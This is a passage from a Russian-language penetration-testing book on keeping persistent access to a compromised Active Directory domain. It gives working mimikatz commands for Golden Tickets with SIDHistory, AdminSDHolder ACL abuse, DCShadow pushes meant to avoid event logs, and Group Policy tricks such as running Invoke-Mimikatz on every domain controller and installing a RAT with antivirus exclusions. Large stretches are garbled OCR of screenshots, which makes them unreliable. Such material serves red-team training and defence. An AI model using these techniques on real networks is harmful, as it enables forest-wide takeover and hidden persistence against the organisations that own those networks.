Golden Ticket
+
SIDHistory
Родительский (корневой) домен содержит группу администраторов всего леса
Enterprise Admins. Поэтому, когда хеш пароля учетной записи krbtgt предоставля
ется в дочернем домене, существует определенное ограничение. Так как mimikatz
добавляет членство в группе за счет относительных идентификаторов (RID), то
в данном случае в билете Kerberos группа RID 5 1 9 (Enterprise Admins) будет иден
тифицирована как локальная по отношению к домену, в котором был создан билет
(на основе домена учетной записи krbtgt) . Но если идентификатор безопасности,
полученный путем добавления RID к SID'y домена, не существует, то владелец
билета Kerberos не получит определенный уровень доступа.
Таким образом, если домен, в котором бьm создан Golden Ticket, не содержит груп
пу Enterprise Admins, то данный билет не предоставит права администратора для
146
Глава 7
других доменов в том же лесу. Если сделать Golden Ticket с помощью mimikatz и
обратиться к ресурсам в своем и другом доменах, то во втором случае мы получим
отказ в доступе (рис. 7.30).
mimi ka t z # kerberos : : golden /admin : anyuser /domain : domA. domain . dom /sid : S- l -5-217 1 9 1 1 1 2 0 3 - 9 4 2 67 1 3 4 4 - 1 8 3 1 4 0 9 5 2 8 - 1 0 0 0 / krbtgt : 0 8 f5Ьf2e292d77d8e460d392 6a0d90de /ptt
Рис. 7.30.
Рис. 7.31 .
Обычный Goldeп Ticket с помощью mimikatz
Goldeп Ticket с SIDHlstory с помощью mimikatz
М ы уже подробно разобрали, как работает S I DHistory, и знаем, что билет Kerberos
содержит этот параметр. Давай добавим в золотой билет Kerberos, а именно в пара
метр S I DHistory SID группы Enterprise Admins (рис. 7.3 1 ).
Сохранение доступа при атаке на домен
147
mimikatz # kerberos : : golden /admin : anyuser /domain : domA. domain . dom /sid : S-l-5-217 1 9 1 1 1 2 03-94267 1 3 4 4 - 1 8 3 1 4 0 9 5 2 8 - 1 0 0 0 / krbtgt : 0 8 f5bf2e292d7 7d8e4 60d392 6a0d90de
/sids : [ S I D группы Enterprise Admins] /ptt
Таким образом мы получаем доступ ко всему лесу.
AdtninSDHolder
AdminSDHolder - это обЪект, расположенный в разделе System в Active Directory
( cn=adminsdholde r , cn=system, dc=domain, dc=dom) . Он используется в качестве шаблона
безопасности для объектов, которые являются членами определенных привилеги
рованных групп, называемых защищенными группами (рис; 7.32).
� Рw�стиро••ние: AOS!
Ф1М
""1
Ае"n•ие:
Вид
Cnp.Jeкa
I X 1J l9J [} l l m!!i
� Pцaicntpoaaнtir: ADSI
v 1 Контекст мменоа1ни• nоумолчанию
DC.:dom1in.DC=dom
CN:Suiltin
(;'3
1:\
CN:Computers
OU:Dormin Controllers
contain_e:r
contail'Н!r
CN:ComPartitionSet:s,CN=Syste:f1\DC:.dom"11\0C:dom
domainPolicy
CN:Def,щlt Dom111n Policy,CN=System,DC=dom1J1n,DC= dom
� CN::.Ddault OomJin Polky
CN:Keys
CN:LostAndFound
CN: NTDS Quotos
>
CN=ComPartitions
CN:ComPaFtitionSМ.s
CN:Fore}gnSecurJtyPrincip1ls
!il CN:М<!naged Service Accounts
·
8
CN:Progr1m 011ta
CN=Sys!>m
iili:I CN: ТРМ Dмces
;11 CN:: Use:rs
CN=Filt Replkation Sf:fVict
Ш C.N:FileLinb
� CN::: IP Security
i1' CN-=Mtdings
;;.1 CN::M icrosoftDNS
D CN::Password Stttings Con".
CN::ComP•rtitions,CN:Syste:m.DC:dom11n.DC:dom
dfsConfigura".
CN=Ofs-Configur�ion,CN=Syite:m,DC::dom11n,DC;dom
msDFSR-Glo".
CN:OFSR-GloЬ.l�ings.CN:System,DC:dornain,DC:doм
cont1111er
CN:OomainUpd&tes,CN=Systm"1,DC:dom1in.DC::dom
nТFRSSetit ngs
CN:F1le Rep/.cetion Strvicr.,CN=Systern,,DC:dormin,DC=dom
fileLink.Tr1clci...
CN:Filfi.inks,CN:: System,DC=domain,DC=dom
cont1iner
CN::IP Жurity,CN:System,DC: dom4in,0C=dom
cont11ner
CN=Meetings.CN=SysteщDC: domail\DC=dom
conbinб
CN:MicrosoftDNS.CN=System,DC::dom&in,OC=dom
msDS-Pиsw."
CN::Pиsword Settings Container,CN:Systtm.DC::domain,OC:dom
Рис. 7.32. Объект AdminSDHolder
В Active Directory учетные записи и группы с высоким уровнем привилегий по
умолчанию считаются защищенными. При использовании большинства объектов
в Active Directory администраторы или пользователи, которым были делегированы
разрешения на управление объектами Active Directory, могут не только изменять
права доступа к объектам, но и управлять самими разрешениями (к примеру, чтобы
настраивать членство в группах).
Но есть одна особенность: в случае защищенных учетных записей и групп разре
шения объектов устанавливаются и применяются автоматически. Это гарантирует,
что разрешения на объекты останутся единообразными, даже если объекты будут
перемещены в другой каталог. Таким образом, если кто-либо вручную изменяет
разрешения защищенного объекта, эти разрешения будут возвращены к их значе
ниям по умолчанию.
Объекты, которые по умолчанию считаются защищенными группами, - это опера
торы учета, администратор, администраторы, операторы архива, администраторы
домена, администраторы предприятия, администраторы корпоративных ключей,
администраторы ключей, KRВTGT, операторы печати, контроллеры домена только
для чтения, репликатор, администраторы схемы, операторы сервера. В отличие от
большинства объектов в домене Active Directory, владельцем которых являются
группы «Администраторы)), объект AdminSDHolder принадлежит группе «Админист-
Глава 7
148
раторы домена». Таким образом, все защищенные с помощью AdrninSDHolder объекты
имеют атрибут AdminCount, установленный в 1 . Но если объект удалить из защищен
ной группы, значение атрибута Admincount не изменится.
Так как главным условием защищаемого объекта становится значение атрибута
Admincount, равное 1 , мы можем найти все эти объекты с помощью следующего
скрипта.
$ldapFilter = " ( adminCount=l ) "
$domain = New-Obj ect System. DirectoryServi ces . DirectoryEntry
$search
=
New-Obj ect System. DirectoryServices . DirectorySearcher
$search . SearchRoot = $doma in
$search . PageSize
=
1000
$search . Filter = $ldapFilter
$search . SearchScope = "SuЬtree"
$result = $search . FindAll ( )
foreach ( $ res in $result ) {
$userEntry = $res . GetDirectoryEntry ( )
Write-host "Object Name = " $userEntry . name
Write-host "Obj ect Class
=
" $userEntry. objectClass
foreach ( $AdminCount in $userEntry . adminCount) {
Write-host "AdminCount
=
" $AdminCount
Write-host " "
Список контроля доступа (ACL) объекта AdminSDHolder применяется как шаблон для
всех разрешений всем защищенным объектам Active Directory и их членам. Для
обеспечения безопасного доступа к защищенным объектам Active Directory будет
брать ACL объекта AdminSDHolder и периодически применять его ко всем этим объ
ектам, т. е. ко всем пользователям и группам. Таким образом, если мы можем ма
нипулировать списком ACL для AdminSDHolder, эти разрешения будут автоматически
применены ко всем защищенным объектам, что позволит создать постоянный дос
туп к привилегированным учетным записям в домене.
За автоматизацию восстановления разрешений защищенных объектов отвечает
процесс SDProp. По умолчанию восстановление происходит каждые 60 минут (но
этот интервал можно изменить). Таким образом, если администратор увидит подоз
рительное разрешение для защищенного объекта и удалит его, то спустя указанное
время эти полномочия будут восстановлены обратно благодаря SDProp, т. к. атри
бут Admincount данного объекта должен быть равным 1 . В результате объект оста
нется защищенным.
Давай добавим пользователя к
adminCount в 1 .
AdminSDHolder
или выставим пользователю атрибут
Get-ADUser [ пользователь ]
Set-ADObj ect -Clear adminCount
Get-ADUser [ пользователь ]
Set -ADObj ect -Add @ { adminCount=l }
Сохра нение доступа при атаке на домен
149
Спустя некоторое время после восстановления разрешений SDProp'oм данная
учетная запись будет иметь полный контроль над группой «Администраторы доме
на». При этом можно заметить, что пользователь не имеет членства в группах
(рис. 7.33).
Get-ADUser [пользователь ] -Properties memЬerof
rs
C : \Window s \ sy s t e m3 2 > Get - ADUser u s e rSD - Propert i e s 'memberof
1 oi s t i nguishedNan1e
CN=SD, CN= U s e r s , DC=doma i n , DC=dom
EnaЬled
G i venName
True
Nen1be rOf
{}
SD
SD
f'.Jame
Obj e c t C l a s s
user
SamAcc ouпtNaшe
user'SD
SID
S - 1 - 5 - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 3 44 - 18 314095 2 8 - 1 1 18
Dbj ectGUID
3 3 1 cae08 - 74 2 1 -4528 - a l a 8 - 4 1 7 1 58 7 9 a 3 af
Sш'name
U s e r P r i n c i palName
userS�@doma i n . dom
Рис . 7.33. И нформация о целевом пользователе
Чтобы изменить интервал восстановления, нужно в ветке реестра НКЕУ_LOCAL_
МACН INE\SYSTEM\CurrentControlSet \Services \NТDS\Parameters создать параметр DWORD
с именем AdminSDProtectFrequency, а в качестве значения указать количество секунд
(минимальное
60).
-
это очень хитрый метод, позволяющий нам предоставлять возмож
ность менять привилегированные группы в Active Directory, используя ключевой
компонент безопасности. Таким образом, даже если разрешения для защищенной
группы или пользователя изменены администратором, SDProp вернет разрешения
безопасности спустя отведенный интервал времени в соответствии с объектом
AdminSDHolder, тем самым возвращая нам административный доступ.
AdminSDHolder
-
[)CShadow
В предыдущей части главы мы рассмотрели способ обеспечить персистентность
доступа, основанный на изменении разрешений защищаемых объектов, т. е. на
управлении списками ACL и манипуляциях с контейнером AdminSDHolder. Но эти
способы могут быть зарегистрированы в журнале событий. Чтобы избежать этого,
есть решение: DCShadow позволяет вносить такие изменения без регистрации со
бытий, что снижает риск обнаружения.
Таким образом, план следующий:
1 . Получить текущие разрешения AdminSDHolder.
2. Внести изменения в разрешения (добавИ:ть нового пользователя).
3. Применить обновленные разрешения через DCShadow.
Гла ва 7
150
Получить текущие разрешения можно с помощью PowerShell (см. рис. 7.35).
$asdh
=
$sddl
=
[ adsi ] ' LDAP : / /CN=AdminSDHolder , CN=System, DC=domain, DC=dom '
$asdh . ObjectSecurit y . Sddl
Чтобы обеспечить персистентность доступа, добавим учетную запись в разрешения
AdminSDHolder. Для этого нужно изменить полученную строку SDDL. Сначала необ
ходимо узнать SID целевого объекта (рис. 7.34).
I
!I
P S C : \Wi nd o w s \ s y s t e m3 2 > Get - ADUser D C U s e r
EnaЫed
C N =DC DC , C N=Us e r s , DC = doma i n , DC =dom
Tr'LJe
.Name
DC DC
i
oi s t i n g u i s h e dName
' G i v e nN ame
ос
Obj ect C l a s s
user
Ob j e c t G U I D
SanlAcc ount Name
8 3 7 f 7 f0 3 - 7 77c - 4 2 a 3 - 9 34d - 1 548d 3 c 5b 5 1 a
DCUser
SID
S - 1 - 5 - 2 1 - 7 19 1 1 1 2 03 - 94267 1 3 44 - 1 8 3 14 0 9 ; 2 8 - 1 1 19
SLirn ame
DC
U s e r P r i n c i p a l f'Jame
DC Ll s e r'@tdomain . do111
Рис. 7.34.
Получение SID целевого пользователя
Теперь можно изменить SDDL, просто добавив туда SШ (рис. 7.36).
$newsddl = $sddl + " (А; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; [ S I D] ] ) "
Приступим к последнему этапу - использованию DCShadow. Чтобы применить
данные разрешения, используем mimikatz, причем от имени system (рис. 7.37).
mimikat z # ! +
mimi katz # ! processtoken
mimikatz # lsadump : : dcshadow /object : "CN=AdminSDHolder, CN=System, DC=domain, DC=dom"
/at tribute : ntsecuritydescriptor /value : [SDDL]
При этом в другом окне mimikatz нужно выполнить репликацию и применить дан
ные.
mimikatz # lsadump : : dcshadow /push
Спустя некоторое время у целевой учетной записи можно заметить обновленный
атрибут admincount, о котором мы уже говорили (рис. 7.38).
-
Таким образом, еще один вектор, для которого мы можем использовать
DCShadow,
персистентность административного доступа.
in ws yst
ij
) i Од ;
:
I
. ,-.�·.�r"d o�·IS \ sys
) (ОА; С I; RP\·iP C R ; 91еб47d
еп13
__
.
2>
с�
netJ::..
- -d "
�- .::-- Ljd _l
)
., •_ "
·
·.•
. ·_
".
,
. .,: :,;,- L
,,1 - �
• )1 _· 1 "..:.
.· · .
. � .··.
.' "'
. .s.�
.:.
· -..
разрешения контейнера AdminSOНolder в формате SDDL
- 00аа00 3049 е 2 ; ; С А )
- ....-4. - ll:J.1.-т
" CN '"•
)'
c· ,_:,
�•:;
.:;::: ,• .:..,
1'19
!
_ _ .'' "
) ( Од; ; RP\·;P ; б d Ь б 9 а 1 с - 94 2 2 - 1 l d l - a e b d - 0000f�03 6 7 с
(Од; ; RP ; 46 a9 Ы 1 d - 60 a e - 4 0 5 a - Ыe 8 - ff 8 a5 8 d 4 5
l·•D
l;-RPl•iP; Ьf967a7f- 0deб - 1
PS
Новая строка SDDL
- 1 - 5 - 2 1 - 719111203 - 94267 1344 - 1831409528 - 11 1 . )
Изменение разрешений AdminSDНolder с помощью mimikatz DCShadow
Рис. 7.36.
(А; ; C C D C L C S\·;RP\·iPDТ LOCRSDRC\•ID\·IO ; ; ;
Рис. 7.38. Изменение разрешений AdminSDHolder с помощью mimikatz DCShadow
Рис. 7.37.
d 0 - a 2 8 5 - 00aa003049 e 2 ; ; СА)
)
с : \1·.:. r: dO\J· S\ sys €Mj 1 '· r�,.�J( _
О : DAG : [J4D : ;:>;:.: <' д ; ; u ,;. с�� : ; .: - _
; , .: с DC с. с: S•.R ""·. DD7 LCC RSDRCiDi-iC ; ; ; S\' (i• ; ; C C DC L C S\-iRPl·:P L OCRSDRCl·:D\-Ю; ; ; Вд ) (А ; ; L C R P LORC ; ; ; RU ) (А; ; C C DC l
CS\·iRP\·,P LCC RRC·:D •.;o ; .: ; с:;.:
' ' с с::с - s •.. R;',,D - :с t<RC 1.D.·.C .: ; ' � - 1 - � - 2 1 - :- : ·? 1 1 2 0 ? - 9 4 2 6 7 1 344 . 1 8 3 14 09 5 2 8 - 5 1 9 ( д ; ; C CDC L C S\oiRP\:PDТLOCRSDROiD\·IO ; ;
; S - 1 - 5 - 2 1 - 7 1 9 1 1 120 � - 942 6 1344 - 18 14�9 3 2 8 - 1 1 18 1 0.:; ; С � ; s � ; � 1 э ; ; - 1е� - 1 1 J 0 - 9 8l9 - 00aa004 0 5 2 9 b ; ; �D ' ( OA ; C I ; RPWP C R ; 9 1 e647de - d96f - 4Ь70 95 57 - d63ff4f 3c c d8; ; PS (OA; ; C R ; a � 2 1 a5 З - le2 f - l ld0 - 93 1 9 - 00aa0040529� ; ; �S . \ 04 ; ; � � ; 46 a9� 1 l d - 60ae - 40 5 a - Ы e8 - ff8a58d456d 2 ; ; 5 - 1 - 5 - 32 - 5 6
е ) { ОА; ; RP.-1P ; 5805Ьс б2 - dc9 - 4428 - a е 2 - 85ба0f4с 1 8 5 е ; ; S - 1 - 5 - 3 2 - 561 ( ОА; ; RP"iP; бdЬб9аl с - 942 2 - 1 1 ·� 1 - ae�d - 0000f80367c 1 ; ; S - 1 - 5 - 3 2 - 56 1)(ОА ;
DS
с··· ;
.._
Рис. 7.35. Текущие
d
е 2 - 8 5 6 a0f4c 1 8 5 е ; ; S - 1 - 5 - 3 2 - 5 6 1
3 - 1e 2f - 1 1 0 - 9 8 1 9 - 0 0 aa00405 2 9 b ; ; P S )
; C R ; а Ы 2 1 a 5 3 - l e 2 f - l l d 0 - 9 8 1 9 - 00 a a 0040 3 2 9 b ;
,; DA) ( А ; ; C CD C L C S1"RP1·.P LOC RRc ."o,"o .: ; ; S - 1 - 5 - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 344 - 1 3 5 1409 5 2 8 - ; 1 9 ( А ; ; C CDC L CS\<IRPl·iPDТ LOCRSD
S- 1- ; - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 344 - 1 8 3 14 09 ; 2 8 - 1 1 1 8
�-� d9 6 f - 4 ti 7 0 - 9 5 57 - d63ff4f 3 c c d 8 ; ; P S ) ( ОА ; ; C R ; а Ы 2 1 а
�j 2 ; ; S - 1 - 5 - 3 2 - 5 6 0 ) (ОА; ; RPl·iP ; 5 8 0 5Ь с б 2 - b d c 9 - 442 8 - а
l ; ; S - 1 - 5 - 32 - 56 1 ) ( 0A ; ; RPWP ; bf 967 a7f - 0 de б - 1 1 d 0 - a 2 8
RC\.iDl'iO; ; _:
CDC L C S\·;R P ,., P LOC RROiDiIO ,; ;
:
·
l
PS C : \Windows\system32> iasdh
[ a ds
�5 с : \ :i пd o1·J S \system3 2 > $ ; d d l
ia sdh . Obj ectSecurity . Sddl
P S C : \W
do
\s
em 3 2 > i s d d l
: DAG : DдD . РА I ( А ; ; L C R P LORC ; .: ; AU ) ( А ; ; C C DC L C S»;Ro";po- �CC R SD R C 1-i01IO ; ; ; SY Н 4 ; ; C C DC L C S ,
" RP1·:P LCC RSDRCi·.D,·.G . ; ; S ) ( А ; ; L C R P LORC ; ; ; R U ) {А; ; С
UI
.....
.....
:z:
f
�
ii
Q)
3
Q)
6
i;::
�
3
°'
о
i;::
<D
�
i
ГЛАВА 8
И спользуем груп повые политики ,
чтобы сохранить доступ к домену
Во время атаки на инфраструктуру Active Directory очень важно сохранить полу
ченный доступ. Для этого применяются различные методы и средства, в том числе
особенности групповых политик и бэкдоры. В этой статье мы рассмотрим исполь
зование групповой политики и некоторых методов внедрения в критические про
цессы для поддержания привилегированного доступа.
Обыкты групповой полити ки
Групповая политика позволяет администраторам управлять компьютерами и пользователями в Active Directory. Она состоит из нескольких час�:ей и в большой ком
пании может оказаться сложной в использовании без привлечения сторонних инструментов.
Групповые политики сохраняются как объекты групповой политики (GPO), кото
рые затем связываются с объектами Active Directory. Дело в том, что групповые
политики могут включать параметры безопасности, разделы реестра, правила уста
новки программного обеспечения, сценарии для запуска и завершения работы, а
члены домена обновляют параметры групповой политики по умолчанию каждые
90 минут на своих машинах и каждые 5 минут на контроллере домена.
В большинстве случаев в домене точно настроены:
1:1 один объект групповой политики, определяющий обязательный пароль, Kerberos
и политики всего домена;
1:1 один объект групповой политики, настроенный для подразделения контроллеров
домена;
1:1 один объект групповой политики, настроенный для подразделения серверов и
рабочих станций.
Посмотреть групповые политики можно в окне «Диспетчер серверов
ние групповой политикой)) (рис. 8 . 1 ).
---+
Управле
Глава В
154
О
Ji Упраам:кмt: rpynnoeoM по11мтикоМ
.(i
Ф1йл
• •т•
Дr:МстеКt:
·
Оюtо
Вид
- г�т1mi-------·--- -- ------·------- ----·- - --·· - - ---
,!li Уnрtмt:нме rpynnoeoM nолмтикой
v Д Лес dom11in.dom
у
__J -
Cnp1au
------------·---··-·- ----··-··
Х
il 1С
--
06w�1 rpynnoaoй nоnмтмкм - domain.dom
·
Со- .а.-,
Доме:ны
�.
fj1 Delu 0omo1n Corirolers Ро1су
iiJ DefU Oomoln Ро1су
WGP_G...._2
.
Jij'GP_MS_1
.fi[ GP_a!ice
j/GPJetl
Ст.тусобwес:п rpymoeoA nоrмтикм
в.........,
-
!\шочено
-
"""1ь11> WMI
Нет
Нет
Нет
Нет
Нет
Нет
а.-
Моделмроu:н� rpynnoaoй nол.итt1.1оt
8nа.аепец
�._
Д,,:,.tра
.И.С Щ)Ы .rюме
-..,,,,_
,.
.....
д,мн,с,,,.,_ _
дЕмиtсtраторы .QCIМt'
-..,,,._
,.
"' Реул11пты групnоаоМ nолмт141Си
Рис. 8.1 . Управление групповой политикой
Файлы, которые содержат параметры политики («Шаблон групповой политикю> ),
расположены по пути с : \Windows \SYSVOL\ [dornainJ \Policies\ на контроллере домена
(рис. 8.2).
компыотор
•
- --- ЛокiО11 ьныii диос (С:) > Windows > SVSVOt > domain
>
Pofici� >
Имя
Тигt
11 {6AC1786C-016F· 1 1 DZ-945F-.OOC04f8984F9}
Папка с фамами
Ра•м<р
{8EOEC14D-8885-40SE-BF86-912ADA989786}
ПаnКА с файлами
{8FFB172D·C1C9-4997-AFFD-F820D2359549}
Паnк1t с фомами
{31В2F340-016D·1 1 02·945F·OOC04FB984F9}
Папка с файлами
(428FB19-FF53-4569·94A3·7C8S5A82570E}
Папка с фанnами
(С394А474-Е398·4889-д19P-17EF481 ВА880}
ПаnКА с файnами
Рис. 8.2. Шаблон групповой политики
Исполь�уя PowerShell Active Directory Get-ADOЬject, можно проверить наличие объ
екта групповой политики и его ключевые поля, интересующие нас (рис. 8.3, 8.4).
PS > Get-ADObject ' CN= { 4 2 8 FE31 9-FF5 3-4569-94A37C855A8 2 5 7 0E } , CN=Policies, CN=System, DC=domain, DC=dom '
PS > Get-ADObject ' CN= { 4 2 8 FE 3 1 9-FF53-4569-94AЗ-7C855A8 2 5 7 0E } , CN=Policies,
CN=System, DC=dornain, DC=dom ' -Properties displayname , gpcfilesyspath,
gpcrnachineextensionname s , gpcuserextensionnames
При создании объекта групповой политики он может быть как связан, так и не
связан с каким-либо объектом Active Directory. Если такая связь существует, атри
бут gPLink этого объекта будет обновлен и в него будет добавлено значение
Dist inguishedName групповой политики. По этому признаку можно определить, какие
групповые политики применяются к данному объекту Active Directory.
Если мы перейдем в любую директорmо объекта групповой политики, т. е.
в с : \Windows\SYSVOL\ [ domain] \Policies\, то обнаружим следующие вложенные объек
ты (рис. 8.5):
1.
мachine -
2.
User - директория с пользовательскими настройками
политики.
директория с настройками машины для объекта групповой политики.
для
объекта групповой
{
Name
-- - -
·
'Cri•{.42.tFE 319-Ff53 -4569-94A3- 7CЗSSA8257aE} ,CN"Policies , Ci�=Systen1zDC=d001ain,DC=d0tu'
- - - - - - - - -- -
ObjectClass
Obje-ctGUIO
--- -- -- - -
:O
D i s p l ayName
Di stingui s h e dName
gpcfi lesyspath
Name
tl b j e ct C l a s s
ь j e ctGUID
ii USER
ij GPT
Рис. 8.5.
>
>
1 КБ
Policies
>
{6AC178бC-016F-11 D2-945F-OOC04fВ98F9
4 }
Содержимое директории объекта групповой политики
Параul!Тры "онф".
Пап ка с
>
Размер
domain
файламк
SVSVOL
ПanQ с файлами
Windows
11 МACHINE
�
Тмn
JloOJ1Ыtый АИСJС (С:)
Имя
1:оuпьюrер >
Рис. 8.4. Использование Get-AOObject
для получения ключевой информации об объекте групповой политики
GP_/>15_1
CN={428F E 3 1 9 - F F 5 3 -4569- 94A3 - 7C855A82570E } , CN=Pol i c i e s , CN=System, DC=doma i n , DC=dom
\ \domain . dom\SysVol \domain . don1\Po l i c i e s \ { 428F E 3 19 - FF 5 3 -4569- 94АЗ - 7С855А82570Е }
{428F E 3 1 9 - F F 5 3 - 4569- 94A3 - 7C855A82570E}
groupPolicycontainer
Ьб03ЫЬ3 - аlс4 - 4 1 8 1 - 9450- бес49092Ы84
PS с : \l�indows \systen132 > Get -ADObject
с:1= · .1 1 : = =: l :, · : : =·-'· _ _.;6·=· - :.с:,:. 3 - 7с 33с.�32 .:: 70:0 : , Cl1=Po: i с ie s , CfJ=S; stem, DC =Cio11ain, ос =dом'
d i s p l ayname , gpcfil esyspath , gpcmachineextens ionname s , gpcuserextensioпnames
Рис. 8.3. Использование Get-AOObject
для получения основной информации об объекте групповой политики
- Propert ies
C'I= {428FE319-FF53-4569 ·94д3 · 7С855А82570Е}, CN=Pol ic ies, CN•System,DC•domain ,DC=dO<ll {428FE319· FF5 3 4569-94АЗ- 7С855А82570Е} groupPolicyContainer Ьб0ЗЫЬЗ- al с4 ·4181·9450· 6ес49092Ь184
OistinguishedName- - - - - - - - - - - - - - - --
PS С : \Windows\system32> 6et-ADObject
8:
�
1
"
а,
�
3
2'
�
111
:z:
�
�
�
-�
1
ф
5
�
::3
1\1
�
"'
�
§
11'"
�
Глава 8
156
3.
GPT . INI
-
файл, который содержит параметры конфигурации объекта групповой
политики.
Групповая политика бьmа создана, чтобы упростить управление ресурсами в доме
не, однако злоумышленник также может использовать ее возможности для своих
целей. К примеру, таким образом можно подменить программы, создать заплани
рованные задачи, добавить новую локальную учетную запись на все компьютеры.
Также приведу список интересных возможностей, которыми лично пользовался сам
или видел, как пользовались другие операторы.
1 . Использование сценариев PowerShell или VBS для настройки членства в группах
на уровне домена.
2. Запуск Invoke-Mimikatz на всех контроллерах домена в качестве SYSTEM через
определенный промежуток времени (например, раз в три дня).
3 . Получение учетной записи krЬtgt, а затем планирование задачи запуска DCSync
на определенных машинах во всем лесу с использованием поддельных билетов
Kerberos.
4. Установка RAТ и добавление исключения в антивирусные правила в домене или
лесу.
Применение групповой политики по умолчанию заключается в обновлении груп
повой политики на клиентах. При этом если новая политика совпадает со старой,
та обновляться не будет. Назначить разрешения для политики можно в том же раз
деле «Управление групповой �:�олитикой», выбрав политику и перейдя к настройкам
делегирования (рис. 8.6).
Так мы можем добавлять задачи, выполняемые от имени администратора домена на
всех компьютерах домена.
� Ynp4'Sltfl!lfe rpynno10K nопмтмкоi:i
о
li Ф.йп ДеМtпм: Ви.А OIUIO Спроеп
Ii Уnримн� tpynno8oA nomnм.1i:.0M
v
д Лк dormifn.dom
v а д<>u<ны
" !lil do<мm,dom
. Ge•ult Domain Polky
) !iZi Dom.in Controller5
1Ш' 061.цtы rpynno1oit FЮЛКТМОI
jJ Dmult Oom•in Cootrollers Polky
J1 Oefau/t Donwin Policy
v
Ji} GP_G.ma_2
>
>
�1.1SJ
jJ GP_Offke
jJ GP_t.,.
-
GP_MS_1
·
Обмс:n.
r.eeAIИtA �фЬl до� Состо....
-�
ЩJЫ .IP«!Нil
� ро �
АМ GР0ммеот�r�мnаJЬ3ОUТе114
([)OМAJN\д.�-
.у
И3меttмtе Пiр84еtрое А&МН198 И М3МIНИ48
Pnpewetto
мрвме
�
lр(I.. Не
т
•
.fl.дiм...ti:яt
.c ropы��irмs(DOM .. �rupiмe'fPQ8.fдaneitМe1t��1P0- .. Нет
Неr
f&КОНТРОЛПЕРЫ !ЮWЕНАПРЕдПР... Ч"RНtе
��)"leТOМQtlЪ���) Нет
&f\loWellllМlt �
� l"WIP8'"'81JX8,YlUlll8iМe M � f18PIМlt1PO- - Нвт
"СИСТЕМА
Фмп11tтрыWМI
'1 Н.'41.J!�.нш обwпы rpynnoeoК nотnм!М
Qt C•iПы
Модимрое4'1-1Ме rpynnoeotf ПО1'МТМIСМ
� Peyll•TIТW rpynno10M nолктм�см
Рис. 8.6.
Разрешения групповой политики
- ---,
-.,
[-
х
�- "
Используем групповые политики, чтобы сохранить доступ к домену
157
SeEnableDelegationPrivilege
Эта привилегия определяет разрешение доверия к учетным записям компьютеров и
пользователей при делегировании. Таким образом, она распространяется на домен,
а не на локальную машину в этом домене. Право SeEnaЫeDelegationPrivilege контро
лирует изменение свойства msDS-Al lowedToDelegateтo, которое содержит объекты для
ограниченного делегирования.
Исходя из этого, оператор не может изменить ни настройки управления учетными записями пользователей, связанные с делегированием, ни свойство
msDS-AllowedToDe legateTo
для объекта, если мы не обладаем привилегией
SeEnaЬleDelegationPrivilege (рис. 8.7).
ЩI RH I HG :
0 1.' 1 1 1
111
111'
11 J t 1 1 .
( '� e t - D o l'la i n O h.i e c t ]
"
1
• •
[ 1" 1· 0 1·
� e t t i n q / 1· e u l м ; i n ч
" 1 , r 1 r 11 1 � r 1
" 1 1 1 f ,,
m·o pe 1· t i e �
1 11 1 1
Рис.
8.7. Запрет на изменение свойства msDS-AllowedToDelegateTo
' ,\ } l 1 11 1 1
1, 1 1 1 • 1 1 ·
'И"
·• l" � l l f H 1 1 1 '
f o t• o li i e c t
' )IT
1
"(1. 1
1
1
Так как право SeEnaЫeDelegat ionPrivilege применимо только на самом контроллере
домена, оператору необходимо проверить политику контроллера домена по умол
чанию (имеет guid { бАСl 7 8 6C- O l бF- 1 1 D2-945F-OOc04fB9 8 4 F 9 1 ). Проверить данную на
стройку можно в файле \МACНINE\Microsoft \Windows NT\SecEdit \GptТmpl . inf для данной
политики (рис. 8.8, 8.9).
[Unicod"]
Unicode-yes
[ Registry Values]
МACHINE \5ystem\CurrentControl5et\5erv ices \NТD5 \Parameters \LDAPServerIntegr ity-4 , 1
МACHINE\5ystem\CurrentControl5et\5ervices \Netlogon \Parameters \Require5ign0r5eal-4, 1
МACHINE\5ystem\CurrentControl5et\5ervices\LanМan5erver\Parameters\Require5ecuritySignature-4, 1
МACHINE\5ystem\CurrentControl5et\5ervices\LanMan5erver\Parameters\Enable5ecuri tySignature-4, 1
[Version]
s ignature--$CHICAGO$Revision•l
[ Privilege Rights]
5eAssignPrimaryTokenPrivilege - • 5 - 1 - 5 - 82 - 27172.1585- 8976012.26 -202461 3209-625570482.-2.96978595, *S-1-5-19, *5
5eAuditPrivilege - • 5 - 1 - 5 - 82 - 271721585-897601226- 20246132.09-62.5570482- 296978595, * 5 - 1 - 5 - 1 9 , * 5 - 1 - 5 - 20, *5-15eBackupPrivilege
•
* 5 - 1 - 5 -32-544, *5-1-5-32-551, * 5 - 1 - 5 - 3 2 - 549
5e8atchlogonRight - *5 - 1 - 5 - 32-568, * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 -5-32-551, * 5 - 1 - 5 - 32 - 5 59
5eChangeNotifyPrivilege
•
5eCreatePagefilePrivilege
*5-1-1-0, * 5 - 1 - 5 -19, * 5 - 1 - 5 - 20, * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 1 1 , • 5 - 1 - 5 - 3 2 - 5 54
•
* 5 - 1 - 5 - 3 2 - 544
5eOebugPrivilege - * S - 1 - 5 - 3 2 - 544
5elncreaseBasePriorityPrivilege • * 5 - 1 - 5 - 32 - 544
5elncreaseQuotaPrivil"ge - *S-1-5-82 -2.71721585 -897601226- 20246132.09 -625 570482.- 296978595, *S-1-5-19, *S - 1 - 5 SelnteractivelogonRight
=
• S - 1 - 5 - 3 2 - 544, *S-1-5-32-551, *5-1-5-32-548, *5 - 1 - 5 - 32-549, * 5 - 1 - 5 - 32 - 550, * 5 - 1 - 5 - 9
SeloadDriverPrivilege - * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 3 2 - 5 50
•
5eМachineAccountPrivilege
•
5eNetworklogonRight
*5-1-5-11
*5-1-1-0, *5-1-5-32-544, *S-1-5-11, *S-1-5-9, *5 - 1 - 5 -32-554
5eProfile5ingleProcessPrivilege
•
* 5 - 1 - 5 - 3 2 - 544
5eRemote5hutdownPrivilege - * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 32 - 549
SeRestorePrivilege
=
5eSecurityPrivilege
5e5hutdownPrivilege
* 5 - 1 - 5 - 3 2 -544, * 5 - 1 - 5 - 32-551, * 5 - 1 - 5 - 32 - 549
•
*5 - 1 - 5 - 32- 544
•
